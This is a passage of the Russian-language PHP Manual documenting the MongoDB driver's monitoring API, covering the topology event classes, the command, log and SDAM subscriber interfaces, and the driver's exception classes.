  • « MongoDB\Driver\Monitoring\TopologyChangedEvent::getNewDescription
  • MongoDB\Driver\Monitoring\TopologyChangedEvent::getTopologyId »
  • PHP Manual
  • MongoDB\Driver\Monitoring\TopologyChangedEvent
  • Возвращает предыдущее описание топологии

MongoDB\Driver\Monitoring\TopologyChangedEvent::getPreviousDescription

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\TopologyChangedEvent::getPreviousDescription — Возвращает предыдущее описание топологии

Описание

final public MongoDB\Driver\Monitoring\TopologyChangedEvent::getPreviousDescription(): MongoDB\Driver\TopologyDescription

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает предыдущее описание (MongoDB\Driver\TopologyDescription) топологии.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает идентификатор топологии

  • « MongoDB\Driver\Monitoring\TopologyChangedEvent::getPreviousDescription
  • MongoDB\Driver\Monitoring\TopologyClosedEvent »
  • PHP Manual
  • MongoDB\Driver\Monitoring\TopologyChangedEvent
  • Возвращает идентификатор топологии

MongoDB\Driver\Monitoring\TopologyChangedEvent::getTopologyId

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\TopologyChangedEvent::getTopologyId — Возвращает идентификатор топологии

Описание

final public MongoDB\Driver\Monitoring\TopologyChangedEvent::getTopologyId(): MongoDB\BSON\ObjectId

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает идентификатор топологии.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

User Contributed Notes

There are no user contributed notes for this page.


Класс MongoDB\Driver\Monitoring\TopologyClosedEvent

(mongodb >=1.13.0)

Введение

Класс MongoDB\Driver\Monitoring\TopologyClosedEvent инкапсулирует информацию о закрытой топологии.

Обзор классов

final class MongoDB\Driver\Monitoring\TopologyClosedEvent {
/* Методы */
final public getTopologyId(): MongoDB\BSON\ObjectId
}

Содержание

  • MongoDB\Driver\Monitoring\TopologyClosedEvent::getTopologyId — Возвращает идентификатор топологии

User Contributed Notes

There are no user contributed notes for this page.


Возвращает идентификатор топологии

  • « MongoDB\Driver\Monitoring\TopologyClosedEvent
  • MongoDB\Driver\Monitoring\TopologyOpeningEvent »
  • PHP Manual
  • MongoDB\Driver\Monitoring\TopologyClosedEvent
  • Возвращает идентификатор топологии

MongoDB\Driver\Monitoring\TopologyClosedEvent::getTopologyId

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\TopologyClosedEvent::getTopologyId — Возвращает идентификатор топологии

Описание

final public MongoDB\Driver\Monitoring\TopologyClosedEvent::getTopologyId(): MongoDB\BSON\ObjectId

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает идентификатор топологии.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

User Contributed Notes

There are no user contributed notes for this page.


Класс MongoDB\Driver\Monitoring\TopologyOpeningEvent

(mongodb >=1.13.0)

Введение

Класс MongoDB\Driver\Monitoring\TopologyOpeningEvent инкапсулирует информацию об открытой топологии.

Обзор классов

final class MongoDB\Driver\Monitoring\TopologyOpeningEvent {
/* Методы */
final public getTopologyId(): MongoDB\BSON\ObjectId
}

Содержание

  • MongoDB\Driver\Monitoring\TopologyOpeningEvent::getTopologyId — Возвращает идентификатор топологии

User Contributed Notes

There are no user contributed notes for this page.


Возвращает идентификатор топологии

  • « MongoDB\Driver\Monitoring\TopologyOpeningEvent
  • MongoDB\Driver\Monitoring\CommandSubscriber »
  • PHP Manual
  • MongoDB\Driver\Monitoring\TopologyOpeningEvent
  • Возвращает идентификатор топологии

MongoDB\Driver\Monitoring\TopologyOpeningEvent::getTopologyId

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\TopologyOpeningEvent::getTopologyId — Возвращает идентификатор топологии

Описание

final public MongoDB\Driver\Monitoring\TopologyOpeningEvent::getTopologyId(): MongoDB\BSON\ObjectId

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает идентификатор топологии.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

User Contributed Notes

There are no user contributed notes for this page.


Интерфейс The MongoDB\Driver\Monitoring\CommandSubscriber

(mongodb >=1.3.0)

Введение

Классы могут реализовать этот интерфейс для регистрации подписчика событий, который уведомляется о каждом, успешном или неудачном событии команды. Для подробной информации смотрите Мониторинг производительности приложения (Application Performance Monitoring или APM).

Обзор интерфейсов

class MongoDB\Driver\Monitoring\CommandSubscriber implements MongoDB\Driver\Monitoring\Subscriber {
/* Методы */
abstract public commandFailed(MongoDB\Driver\Monitoring\CommandFailedEvent $event): void
abstract public commandStarted(MongoDB\Driver\Monitoring\CommandStartedEvent $event): void
abstract public commandSucceeded(MongoDB\Driver\Monitoring\CommandSucceededEvent $event): void
}

Список изменений

Версия | Описание
PECL mongodb 1.15.0 | Типы возвращаемых значений для методов объявлены как предварительные в PHP 8.0 и новее, что вызывает уведомления об устаревании в коде, который реализует этот интерфейс без объявления соответствующих типов возвращаемых значений. Атрибут #[ReturnTypeWillChange] может быть добавлен, чтобы заглушить уведомление об устаревании.

Содержание

  • MongoDB\Driver\Monitoring\CommandSubscriber::commandFailed — Метод уведомления о неудачной команде
  • MongoDB\Driver\Monitoring\CommandSubscriber::commandStarted — Метод уведомления о запущенной команде
  • MongoDB\Driver\Monitoring\CommandSubscriber::commandSucceeded — Метод уведомления об успешной команде

User Contributed Notes

There are no user contributed notes for this page.


Метод уведомления о неудачной команде

  • « MongoDB\Driver\Monitoring\CommandSubscriber
  • MongoDB\Driver\Monitoring\CommandSubscriber::commandStarted »
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandSubscriber
  • Метод уведомления о неудачной команде

MongoDB\Driver\Monitoring\CommandSubscriber::commandFailed

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandSubscriber::commandFailed — Метод уведомления о неудачной команде

Описание

abstract public MongoDB\Driver\Monitoring\CommandSubscriber::commandFailed(MongoDB\Driver\Monitoring\CommandFailedEvent $event): void

Если подписчик зарегистрирован, драйвер вызовет этот метод в случае возникновения ошибки команды.

Список параметров

event (MongoDB\Driver\Monitoring\CommandFailedEvent)

Объект события, содержащий информацию о неудачной команде.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\Driver\Monitoring\CommandFailedEvent
  • MongoDB\Driver\Monitoring\addSubscriber() - Глобальная регистрация подписчика на событие мониторинга
  • MongoDB\Driver\Manager::addSubscriber() - Регистрирует подписчика на событие мониторинга в данном объекте Manager
  • Мониторинг производительности приложения (Application Performance Monitoring или APM)

User Contributed Notes

There are no user contributed notes for this page.


Метод уведомления о запущенной команде

  • « MongoDB\Driver\Monitoring\CommandSubscriber::commandFailed
  • MongoDB\Driver\Monitoring\CommandSubscriber::commandSucceeded »
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandSubscriber
  • Метод уведомления о запущенной команде

MongoDB\Driver\Monitoring\CommandSubscriber::commandStarted

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandSubscriber::commandStarted — Метод уведомления о запущенной команде

Описание

abstract public MongoDB\Driver\Monitoring\CommandSubscriber::commandStarted(MongoDB\Driver\Monitoring\CommandStartedEvent $event): void

Если подписчик зарегистрирован, драйвер вызовет этот метод при запуске команды.

Список параметров

event (MongoDB\Driver\Monitoring\CommandStartedEvent)

Объект события, содержащий информацию о запущенной команде.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\Driver\Monitoring\CommandStartedEvent
  • MongoDB\Driver\Monitoring\addSubscriber() - Глобальная регистрация подписчика на событие мониторинга
  • MongoDB\Driver\Manager::addSubscriber() - Регистрирует подписчика на событие мониторинга в данном объекте Manager
  • Мониторинг производительности приложения (Application Performance Monitoring или APM)

User Contributed Notes

There are no user contributed notes for this page.


Метод уведомления об успешной команде

  • « MongoDB\Driver\Monitoring\CommandSubscriber::commandStarted
  • MongoDB\Driver\Monitoring\LogSubscriber »
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandSubscriber
  • Метод уведомления об успешной команде

MongoDB\Driver\Monitoring\CommandSubscriber::commandSucceeded

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandSubscriber::commandSucceeded — Метод уведомления об успешной команде

Описание

abstract public MongoDB\Driver\Monitoring\CommandSubscriber::commandSucceeded(MongoDB\Driver\Monitoring\CommandSucceededEvent $event): void

Если подписчик зарегистрирован, драйвер вызовет этот метод в случае успешного выполнения команды.

Список параметров

event (MongoDB\Driver\Monitoring\CommandSucceededEvent)

Объект события, содержащий информацию об успешной команде.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\Driver\Monitoring\CommandSucceededEvent
  • MongoDB\Driver\Monitoring\addSubscriber() - Глобальная регистрация подписчика на событие мониторинга
  • MongoDB\Driver\Manager::addSubscriber() - Регистрирует подписчика на событие мониторинга в данном объекте Manager
  • Мониторинг производительности приложения (Application Performance Monitoring или APM)

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Monitoring\LogSubscriber interface

(mongodb >=1.17.0)

Введение

Classes implementing this interface may be registered as a subscriber and receive log messages from the driver. This is similar to stream-based debug logging (i.e. mongodb.debug) except that trace-level log messages are not received.

As with stream-based logging, it is only possible to register a logger globally using MongoDB\Driver\Monitoring\addSubscriber(). The driver is not able to distinguish log messages for individual MongoDB\Driver\Manager objects.

Обзор интерфейсов

class MongoDB\Driver\Monitoring\LogSubscriber implements MongoDB\Driver\Monitoring\Subscriber {
/* Константы */
const int LEVEL_ERROR = 0;
const int LEVEL_CRITICAL = 1;
const int LEVEL_WARNING = 2;
const int LEVEL_MESSAGE = 3;
const int LEVEL_INFO = 4;
const int LEVEL_DEBUG = 5;
/* Методы */
abstract public log(int $level, string $domain, string $message): void
}

Предопределённые константы

MongoDB\Driver\Monitoring\LogSubscriber::LEVEL_ERROR

Error log level. An error condition that the driver is unable to report through its API. This is the most severe log level in the driver.

MongoDB\Driver\Monitoring\LogSubscriber::LEVEL_CRITICAL

Critical log level. An error condition with slightly less severity. This constant exists for consistency with libmongoc; however, the driver is unlikely to use it in practice.

MongoDB\Driver\Monitoring\LogSubscriber::LEVEL_WARNING

Warning log level. Indicates a situation where undesirable application behavior may occur.

MongoDB\Driver\Monitoring\LogSubscriber::LEVEL_MESSAGE

Message or notice log level. Indicates an event that is unusual but not problematic.

MongoDB\Driver\Monitoring\LogSubscriber::LEVEL_INFO

Info log level. High-level information about normal driver behavior.

MongoDB\Driver\Monitoring\LogSubscriber::LEVEL_DEBUG

Debug log level. Detailed information that may be helpful when debugging an application.

Содержание

  • MongoDB\Driver\Monitoring\LogSubscriber::log — Notification method for a log message

User Contributed Notes

There are no user contributed notes for this page.


Notification method for a log message

  • « MongoDB\Driver\Monitoring\LogSubscriber
  • MongoDB\Driver\Monitoring\SDAMSubscriber »
  • PHP Manual
  • MongoDB\Driver\Monitoring\LogSubscriber
  • Notification method for a log message

MongoDB\Driver\Monitoring\LogSubscriber::log

(mongodb >=1.17.0)

MongoDB\Driver\Monitoring\LogSubscriber::log — Notification method for a log message

Описание

abstract public MongoDB\Driver\Monitoring\LogSubscriber::log(int $level, string $domain, string $message): void

If the subscriber has been registered, the driver will call this method for each logged message.

Список параметров

level

The severity level. This will be one of the interface constants.

domain

The name of the driver component that emitted the log message.

message

The log message.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\Driver\Monitoring\addSubscriber() - Глобальная регистрация подписчика на событие мониторинга

User Contributed Notes

There are no user contributed notes for this page.


Интерфейс MongoDB\Driver\Monitoring\SDAMSubscriber

(mongodb >=1.13.0)

Введение

Классы могут реализовать этот интерфейс для регистрации подписчика событий, который получает уведомления о различных событиях SDAM. Дополнительную информацию смотрите в руководстве по » Обнаружению и мониторингу серверов и » Мониторингу SDAM.

Обзор интерфейсов

class MongoDB\Driver\Monitoring\SDAMSubscriber implements MongoDB\Driver\Monitoring\Subscriber {
/* Методы */
abstract public serverChanged(MongoDB\Driver\Monitoring\ServerChangedEvent $event): void
abstract public serverClosed(MongoDB\Driver\Monitoring\ServerClosedEvent $event): void
abstract public serverHeartbeatFailed(MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent $event): void
abstract public serverHeartbeatStarted(MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent $event): void
abstract public serverHeartbeatSucceeded(MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent $event): void
abstract public serverOpening(MongoDB\Driver\Monitoring\ServerOpeningEvent $event): void
abstract public topologyChanged(MongoDB\Driver\Monitoring\TopologyChangedEvent $event): void
abstract public topologyClosed(MongoDB\Driver\Monitoring\TopologyClosedEvent $event): void
abstract public topologyOpening(MongoDB\Driver\Monitoring\TopologyOpeningEvent $event): void
}

Список изменений

Версия | Описание
PECL mongodb 1.15.0 | Типы возвращаемых значений для методов объявлены как предварительные в PHP 8.0 и новее, что вызывает уведомления об устаревании в коде, который реализует этот интерфейс без объявления соответствующих типов возвращаемых значений. Атрибут #[ReturnTypeWillChange] может быть добавлен, чтобы заглушить уведомление об устаревании.

Содержание

  • MongoDB\Driver\Monitoring\SDAMSubscriber::serverChanged — Метод уведомления об изменении описания сервера
  • MongoDB\Driver\Monitoring\SDAMSubscriber::serverClosed — Метод уведомления о закрытии сервера
  • MongoDB\Driver\Monitoring\SDAMSubscriber::serverHeartbeatFailed — Метод уведомления о неудачном heartbeat сервера
  • MongoDB\Driver\Monitoring\SDAMSubscriber::serverHeartbeatStarted — Метод уведомления о запущенном heartbeat сервера
  • MongoDB\Driver\Monitoring\SDAMSubscriber::serverHeartbeatSucceeded — Метод уведомления об успешном heartbeat сервера
  • MongoDB\Driver\Monitoring\SDAMSubscriber::serverOpening — Метод уведомления об открытии сервера
  • MongoDB\Driver\Monitoring\SDAMSubscriber::topologyChanged — Метод уведомления об изменении описания топологии
  • MongoDB\Driver\Monitoring\SDAMSubscriber::topologyClosed — Метод уведомления о закрытии топологии
  • MongoDB\Driver\Monitoring\SDAMSubscriber::topologyOpening — Метод уведомления об открытии топологии

User Contributed Notes

There are no user contributed notes for this page.


Метод уведомления об изменении описания сервера

  • « MongoDB\Driver\Monitoring\SDAMSubscriber
  • MongoDB\Driver\Monitoring\SDAMSubscriber::serverClosed »
  • PHP Manual
  • MongoDB\Driver\Monitoring\SDAMSubscriber
  • Метод уведомления об изменении описания сервера

MongoDB\Driver\Monitoring\SDAMSubscriber::serverChanged

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\SDAMSubscriber::serverChanged — Метод уведомления об изменении описания сервера

Описание

abstract public MongoDB\Driver\Monitoring\SDAMSubscriber::serverChanged(MongoDB\Driver\Monitoring\ServerChangedEvent $event): void

Если подписчик был зарегистрирован, драйвер будет вызывать этот метод, если описание сервера изменилось.

Список параметров

event (MongoDB\Driver\Monitoring\ServerChangedEvent)

Объект события, содержащий информацию об изменённом описании сервера.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\Driver\Monitoring\ServerChangedEvent
  • MongoDB\Driver\Monitoring\addSubscriber() - Глобальная регистрация подписчика на событие мониторинга
  • MongoDB\Driver\Manager::addSubscriber() - Регистрирует подписчика на событие мониторинга в данном объекте Manager

User Contributed Notes

There are no user contributed notes for this page.


Метод уведомления о закрытии сервера

  • « MongoDB\Driver\Monitoring\SDAMSubscriber::serverChanged
  • MongoDB\Driver\Monitoring\SDAMSubscriber::serverHeartbeatFailed »
  • PHP Manual
  • MongoDB\Driver\Monitoring\SDAMSubscriber
  • Метод уведомления о закрытии сервера

MongoDB\Driver\Monitoring\SDAMSubscriber::serverClosed

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\SDAMSubscriber::serverClosed — Метод уведомления о закрытии сервера

Описание

abstract public MongoDB\Driver\Monitoring\SDAMSubscriber::serverClosed(MongoDB\Driver\Monitoring\ServerClosedEvent $event): void

Если подписчик был зарегистрирован, драйвер вызовет этот метод, если сервер закрылся.

Список параметров

event (MongoDB\Driver\Monitoring\ServerClosedEvent)

Объект события, содержащий информацию о закрытом сервере.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\Driver\Monitoring\ServerClosedEvent
  • MongoDB\Driver\Monitoring\addSubscriber() - Глобальная регистрация подписчика на событие мониторинга
  • MongoDB\Driver\Manager::addSubscriber() - Регистрирует подписчика на событие мониторинга в данном объекте Manager

User Contributed Notes

There are no user contributed notes for this page.


Метод уведомления о неудачном heartbeat сервера

  • « MongoDB\Driver\Monitoring\SDAMSubscriber::serverClosed
  • MongoDB\Driver\Monitoring\SDAMSubscriber::serverHeartbeatStarted »
  • PHP Manual
  • MongoDB\Driver\Monitoring\SDAMSubscriber
  • Метод уведомления о неудачном heartbeat сервера

MongoDB\Driver\Monitoring\SDAMSubscriber::serverHeartbeatFailed

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\SDAMSubscriber::serverHeartbeatFailed — Метод уведомления о неудачном heartbeat сервера

Описание

abstract public MongoDB\Driver\Monitoring\SDAMSubscriber::serverHeartbeatFailed(MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent $event): void

Если подписчик был зарегистрирован, драйвер вызовет этот метод, в случае возникновения ошибки heartbeat сервера (т.е. команды » hello, вызванной через » мониторинг сервера).

Список параметров

event (MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent)

Объект события, содержащий информацию о неработающем heartbeat сервера.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent
  • MongoDB\Driver\Monitoring\addSubscriber() - Глобальная регистрация подписчика на событие мониторинга
  • MongoDB\Driver\Manager::addSubscriber() - Регистрирует подписчика на событие мониторинга в данном объекте Manager

User Contributed Notes

There are no user contributed notes for this page.


Метод уведомления о запущенном heartbeat сервера

  • « MongoDB\Driver\Monitoring\SDAMSubscriber::serverHeartbeatFailed
  • MongoDB\Driver\Monitoring\SDAMSubscriber::serverHeartbeatSucceeded »
  • PHP Manual
  • MongoDB\Driver\Monitoring\SDAMSubscriber
  • Метод уведомления о запущенном heartbeat сервера

MongoDB\Driver\Monitoring\SDAMSubscriber::serverHeartbeatStarted

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\SDAMSubscriber::serverHeartbeatStarted — Метод уведомления о запущенном heartbeat сервера

Описание

abstract public MongoDB\Driver\Monitoring\SDAMSubscriber::serverHeartbeatStarted(MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent $event): void

Если подписчик был зарегистрирован, драйвер вызовет этот метод при запуске heartbeat сервера (т.е. команды » hello, вызванной через » мониторинг сервера).

Список параметров

event (MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent)

Объект события, содержащий информацию о запущенном heartbeat сервера.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent
  • MongoDB\Driver\Monitoring\addSubscriber() - Глобальная регистрация подписчика на событие мониторинга
  • MongoDB\Driver\Manager::addSubscriber() - Регистрирует подписчика на событие мониторинга в данном объекте Manager

User Contributed Notes

There are no user contributed notes for this page.


Метод уведомления об успешном heartbeat сервера

  • « MongoDB\Driver\Monitoring\SDAMSubscriber::serverHeartbeatStarted
  • MongoDB\Driver\Monitoring\SDAMSubscriber::serverOpening »
  • PHP Manual
  • MongoDB\Driver\Monitoring\SDAMSubscriber
  • Метод уведомления об успешном heartbeat сервера

MongoDB\Driver\Monitoring\SDAMSubscriber::serverHeartbeatSucceeded

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\SDAMSubscriber::serverHeartbeatSucceeded — Метод уведомления об успешном heartbeat сервера

Описание

abstract public MongoDB\Driver\Monitoring\SDAMSubscriber::serverHeartbeatSucceeded(MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent $event): void

Если подписчик был зарегистрирован, драйвер вызовет этот метод, в случае успешного выполнения heartbeat сервера (т.е. команды » hello, вызванной через » мониторинг сервера).

Список параметров

event (MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent)

Объект события, содержащий информацию об успешном heartbeat сервера.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent
  • MongoDB\Driver\Monitoring\addSubscriber() - Глобальная регистрация подписчика на событие мониторинга
  • MongoDB\Driver\Manager::addSubscriber() - Регистрирует подписчика на событие мониторинга в данном объекте Manager

User Contributed Notes

There are no user contributed notes for this page.


Метод уведомления об открытии сервера

  • « MongoDB\Driver\Monitoring\SDAMSubscriber::serverHeartbeatSucceeded
  • MongoDB\Driver\Monitoring\SDAMSubscriber::topologyChanged »
  • PHP Manual
  • MongoDB\Driver\Monitoring\SDAMSubscriber
  • Метод уведомления об открытии сервера

MongoDB\Driver\Monitoring\SDAMSubscriber::serverOpening

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\SDAMSubscriber::serverOpening — Метод уведомления об открытии сервера

Описание

abstract public MongoDB\Driver\Monitoring\SDAMSubscriber::serverOpening(MongoDB\Driver\Monitoring\ServerOpeningEvent $event): void

Если подписчик был зарегистрирован, драйвер вызовет этот метод, когда будет открыт сервер.

Список параметров

event (MongoDB\Driver\Monitoring\ServerOpeningEvent)

Объект события, содержащий информацию об открытом сервере.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\Driver\Monitoring\ServerOpeningEvent
  • MongoDB\Driver\Monitoring\addSubscriber() - Глобальная регистрация подписчика на событие мониторинга
  • MongoDB\Driver\Manager::addSubscriber() - Регистрирует подписчика на событие мониторинга в данном объекте Manager

User Contributed Notes

There are no user contributed notes for this page.


Метод уведомления об изменении описания топологии

  • « MongoDB\Driver\Monitoring\SDAMSubscriber::serverOpening
  • MongoDB\Driver\Monitoring\SDAMSubscriber::topologyClosed »
  • PHP Manual
  • MongoDB\Driver\Monitoring\SDAMSubscriber
  • Метод уведомления об изменении описания топологии

MongoDB\Driver\Monitoring\SDAMSubscriber::topologyChanged

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\SDAMSubscriber::topologyChanged — Метод уведомления об изменении описания топологии

Описание

abstract public MongoDB\Driver\Monitoring\SDAMSubscriber::topologyChanged(MongoDB\Driver\Monitoring\TopologyChangedEvent $event): void

Если подписчик был зарегистрирован, драйвер вызовет этот метод, если описание топологии изменится.

Список параметров

event (MongoDB\Driver\Monitoring\TopologyChangedEvent)

Объект события, содержащий информацию об изменённом описании топологии.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\Driver\Monitoring\TopologyChangedEvent
  • MongoDB\Driver\Monitoring\addSubscriber() - Глобальная регистрация подписчика на событие мониторинга
  • MongoDB\Driver\Manager::addSubscriber() - Регистрирует подписчика на событие мониторинга в данном объекте Manager

User Contributed Notes

There are no user contributed notes for this page.


Метод уведомления о закрытии топологии

  • « MongoDB\Driver\Monitoring\SDAMSubscriber::topologyChanged
  • MongoDB\Driver\Monitoring\SDAMSubscriber::topologyOpening »
  • PHP Manual
  • MongoDB\Driver\Monitoring\SDAMSubscriber
  • Метод уведомления о закрытии топологии

MongoDB\Driver\Monitoring\SDAMSubscriber::topologyClosed

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\SDAMSubscriber::topologyClosed — Метод уведомления о закрытии топологии

Описание

abstract public MongoDB\Driver\Monitoring\SDAMSubscriber::topologyClosed(MongoDB\Driver\Monitoring\TopologyClosedEvent $event): void

Если подписчик был зарегистрирован, драйвер вызовет этот метод, если топология будет закрыта.

Список параметров

event (MongoDB\Driver\Monitoring\TopologyClosedEvent)

Объект события, содержащий информацию о закрытой топологии.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\Driver\Monitoring\TopologyClosedEvent
  • MongoDB\Driver\Monitoring\addSubscriber() - Глобальная регистрация подписчика на событие мониторинга
  • MongoDB\Driver\Manager::addSubscriber() - Регистрирует подписчика на событие мониторинга в данном объекте Manager

User Contributed Notes

There are no user contributed notes for this page.


Метод уведомления об открытии топологии

  • « MongoDB\Driver\Monitoring\SDAMSubscriber::topologyClosed
  • MongoDB\Driver\Monitoring\Subscriber »
  • PHP Manual
  • MongoDB\Driver\Monitoring\SDAMSubscriber
  • Метод уведомления об открытии топологии

MongoDB\Driver\Monitoring\SDAMSubscriber::topologyOpening

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\SDAMSubscriber::topologyOpening — Метод уведомления об открытии топологии

Описание

abstract public MongoDB\Driver\Monitoring\SDAMSubscriber::topologyOpening(MongoDB\Driver\Monitoring\TopologyOpeningEvent $event): void

Если подписчик был зарегистрирован, драйвер вызовет этот метод, когда топология будет открыта.

Список параметров

event (MongoDB\Driver\Monitoring\TopologyOpeningEvent)

Объект события, содержащий информацию об открытой топологии.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\Driver\Monitoring\TopologyOpeningEvent
  • MongoDB\Driver\Monitoring\addSubscriber() - Глобальная регистрация подписчика на событие мониторинга
  • MongoDB\Driver\Manager::addSubscriber() - Регистрирует подписчика на событие мониторинга в данном объекте Manager

User Contributed Notes

There are no user contributed notes for this page.


Интерфейс MongoDB\Driver\Monitoring\Subscriber

(mongodb >=1.3.0)

Введение

Базовый интерфейс для подписчиков событий. Используется как тип параметра в функциях MongoDB\Driver\Monitoring\addSubscriber() и MongoDB\Driver\Monitoring\removeSubscriber(), и не должен реализовываться напрямую.

Обзор интерфейсов

class MongoDB\Driver\Monitoring\Subscriber {
}

Этот интерфейс не имеет методов. Его единственная цель - быть базовым интерфейсом для всех подписчиков событий.

User Contributed Notes

There are no user contributed notes for this page.


Классы исключений

  • MongoDB\Driver\Exception\AuthenticationException — Класс MongoDB\Driver\Exception\AuthenticationException
  • MongoDB\Driver\Exception\BulkWriteException — Класс MongoDB\Driver\Exception\BulkWriteException
  • MongoDB\Driver\Exception\CommandException — Класс MongoDB\Driver\Exception\CommandException
    • MongoDB\Driver\Exception\CommandException::getResultDocument — Возвращает результат документа для неудавшейся команды
  • MongoDB\Driver\Exception\ConnectionException — Класс MongoDB\Driver\Exception\ConnectionException
  • MongoDB\Driver\Exception\ConnectionTimeoutException — Класс MongoDB\Driver\Exception\ConnectionTimeoutException
  • MongoDB\Driver\Exception\EncryptionException — Класс MongoDB\Driver\Exception\EncryptionException
  • MongoDB\Driver\Exception\Exception — Интерфейс MongoDB\Driver\Exception\Exception
  • MongoDB\Driver\Exception\ExecutionTimeoutException — Класс MongoDB\Driver\Exception\ExecutionTimeoutException
  • MongoDB\Driver\Exception\InvalidArgumentException — Класс MongoDB\Driver\Exception\InvalidArgumentException
  • MongoDB\Driver\Exception\LogicException — Класс MongoDB\Driver\Exception\LogicException
  • MongoDB\Driver\Exception\RuntimeException — Класс MongoDB\Driver\Exception\RuntimeException
    • MongoDB\Driver\Exception\RuntimeException::hasErrorLabel — Возвращает, связана ли метка ошибки с исключением
  • MongoDB\Driver\Exception\ServerException — Класс MongoDB\Driver\Exception\ServerException
  • MongoDB\Driver\Exception\SSLConnectionException — Класс MongoDB\Driver\Exception\SSLConnectionException (устаревший)
  • MongoDB\Driver\Exception\UnexpectedValueException — Класс MongoDB\Driver\Exception\UnexpectedValueException
  • MongoDB\Driver\Exception\WriteException — Класс MongoDB\Driver\Exception\WriteException
    • MongoDB\Driver\Exception\WriteException::getWriteResult — Возвращает WriteResult для операции записи закончившейся ошибкой
  • Class Tree — MongoDB Exception Class Tree

User Contributed Notes

There are no user contributed notes for this page.


Класс MongoDB\Driver\Exception\AuthenticationException

(mongodb >= 1.0.0)

Введение

Выбрасывается, когда драйвер не может выполнить аутентификацию с сервером.

Обзор классов

class MongoDB\Driver\Exception\AuthenticationException extends MongoDB\Driver\Exception\ConnectionException implements MongoDB\Driver\Exception\Exception {
/* Наследуемые свойства */
protected ?array $errorLabels;
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
final public MongoDB\Driver\Exception\RuntimeException::hasErrorLabel(string $errorLabel): bool
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
